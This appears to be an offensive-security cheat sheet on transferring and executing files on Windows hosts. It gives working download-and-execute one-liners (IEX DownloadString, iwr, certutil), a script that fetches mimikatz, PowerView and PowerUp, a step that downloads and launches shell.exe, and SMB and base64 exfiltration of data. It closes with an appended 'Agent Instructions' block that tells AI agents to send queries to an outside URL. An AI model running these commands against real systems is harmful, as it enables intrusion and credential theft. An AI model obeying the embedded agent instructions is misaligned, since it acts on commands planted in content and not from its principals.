# File Transfer & Execution

### Linux to Windows <a href="#linux-to-windows" id="linux-to-windows"></a>

#### Bulk File Transfer <a href="#bulk-file-transfer" id="bulk-file-transfer"></a>

```
iex(iwr -uri 192.168.1.2/bulk.ps1 -usebasicparsing)
```

```
$baseUrl = "http://192.168.1.2/"
$fileNames = @("PowerUp.ps1", "PowerView.ps1", "mimikatz.exe")
$downloadPath = "C:\Windows\Tasks"

foreach ($fileName in $fileNames) {
    $url = $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}
```

#### SMB <a href="#smb" id="smb"></a>

```
net use \\192.168.x.y /user:root password

copy test.zip  \\192.168.x.y\visualstudio
```

#### Base64 <a href="#base64" id="base64"></a>

```
[Convert]::ToBase64String((Get-Content -path "C:\Users\Administrator\Desktop\ilfreight_bloodhound.zip" -Encoding byte))

base64 -d test.txt  > ilfreight_bloodhound.zip
```

#### Powershell Basic Download <a href="#powershell-basic-download" id="powershell-basic-download"></a>

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.1.2/PowerView.ps1','C:\Windows\Tasks\PowerView.ps1')"
```

#### Powershell Execute Directly <a href="#powershell-execute-directly" id="powershell-execute-directly"></a>

```
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2/PowerView.ps1');
```

#### Download and execute a shell in another process <a href="#download-and-execute-a-shell-in-another-process" id="download-and-execute-a-shell-in-another-process"></a>

```
iwr -uri http://192.168.1.2/shell.exe -OutFile shell.exe

Start-Process -NoNewWindow -FilePath C:\Windows\Tasks\shell.exe
```

#### Download Files <a href="#download-files" id="download-files"></a>

```
certutil -urlcache -split -f "http://ip-addr:port/file" [output-file]
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.awfulsecurity.org/file-transfer-and-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
